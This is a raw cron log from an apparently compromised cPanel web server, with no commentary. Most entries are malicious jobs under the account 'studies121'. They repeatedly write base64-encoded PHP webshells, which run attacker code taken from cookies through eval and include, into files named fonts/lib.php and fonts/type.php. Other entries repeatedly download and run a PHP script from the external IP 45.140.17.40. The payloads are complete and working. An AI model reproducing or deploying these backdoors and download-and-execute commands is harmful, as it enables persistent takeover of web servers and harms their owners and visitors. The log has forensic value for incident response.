Sep  5 05:20:01 ip-184-168-122-23 CROND[16194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:20:01 ip-184-168-122-23 CROND[16191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:20:01 ip-184-168-122-23 CROND[16195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:20:01 ip-184-168-122-23 CROND[16193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:21:01 ip-184-168-122-23 CROND[16309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:21:01 ip-184-168-122-23 CROND[16308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:21:01 ip-184-168-122-23 CROND[16313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:21:01 ip-184-168-122-23 CROND[16316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:22:01 ip-184-168-122-23 CROND[16491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:22:01 ip-184-168-122-23 CROND[16492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:22:01 ip-184-168-122-23 CROND[16495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:22:01 ip-184-168-122-23 CROND[16497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:22:01 ip-184-168-122-23 CROND[16496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:23:01 ip-184-168-122-23 CROND[16602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:23:01 ip-184-168-122-23 CROND[16605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:23:01 ip-184-168-122-23 CROND[16604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:23:01 ip-184-168-122-23 CROND[16606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:24:01 ip-184-168-122-23 CROND[16691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:24:01 ip-184-168-122-23 CROND[16692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:24:01 ip-184-168-122-23 CROND[16694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:24:01 ip-184-168-122-23 CROND[16695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:24:01 ip-184-168-122-23 CROND[16693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:25:02 ip-184-168-122-23 CROND[16822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:25:02 ip-184-168-122-23 CROND[16825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:25:02 ip-184-168-122-23 CROND[16826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:25:02 ip-184-168-122-23 CROND[16824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:25:02 ip-184-168-122-23 CROND[16827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:25:02 ip-184-168-122-23 CROND[16823]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:26:02 ip-184-168-122-23 CROND[16925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:26:02 ip-184-168-122-23 CROND[16926]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:26:02 ip-184-168-122-23 CROND[16929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:26:02 ip-184-168-122-23 CROND[16930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:26:02 ip-184-168-122-23 CROND[16931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:27:01 ip-184-168-122-23 CROND[17028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:27:01 ip-184-168-122-23 CROND[17030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:27:01 ip-184-168-122-23 CROND[17029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:27:01 ip-184-168-122-23 CROND[17031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:28:01 ip-184-168-122-23 CROND[17179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:28:01 ip-184-168-122-23 CROND[17178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:28:02 ip-184-168-122-23 CROND[17181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:28:02 ip-184-168-122-23 CROND[17180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:28:02 ip-184-168-122-23 CROND[17182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:29:01 ip-184-168-122-23 CROND[17318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:29:01 ip-184-168-122-23 CROND[17320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:29:01 ip-184-168-122-23 CROND[17319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:29:01 ip-184-168-122-23 CROND[17321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:30:01 ip-184-168-122-23 CROND[17415]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:30:01 ip-184-168-122-23 CROND[17418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:30:01 ip-184-168-122-23 CROND[17419]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  5 05:30:01 ip-184-168-122-23 CROND[17425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:30:01 ip-184-168-122-23 CROND[17426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:30:01 ip-184-168-122-23 CROND[17424]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:30:01 ip-184-168-122-23 CROND[17423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:30:01 ip-184-168-122-23 CROND[17427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:30:01 ip-184-168-122-23 CROND[17428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:31:01 ip-184-168-122-23 CROND[17556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:31:01 ip-184-168-122-23 CROND[17557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:31:02 ip-184-168-122-23 CROND[17558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:31:02 ip-184-168-122-23 CROND[17561]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 05:31:02 ip-184-168-122-23 CROND[17562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:32:01 ip-184-168-122-23 CROND[17641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:32:01 ip-184-168-122-23 CROND[17642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
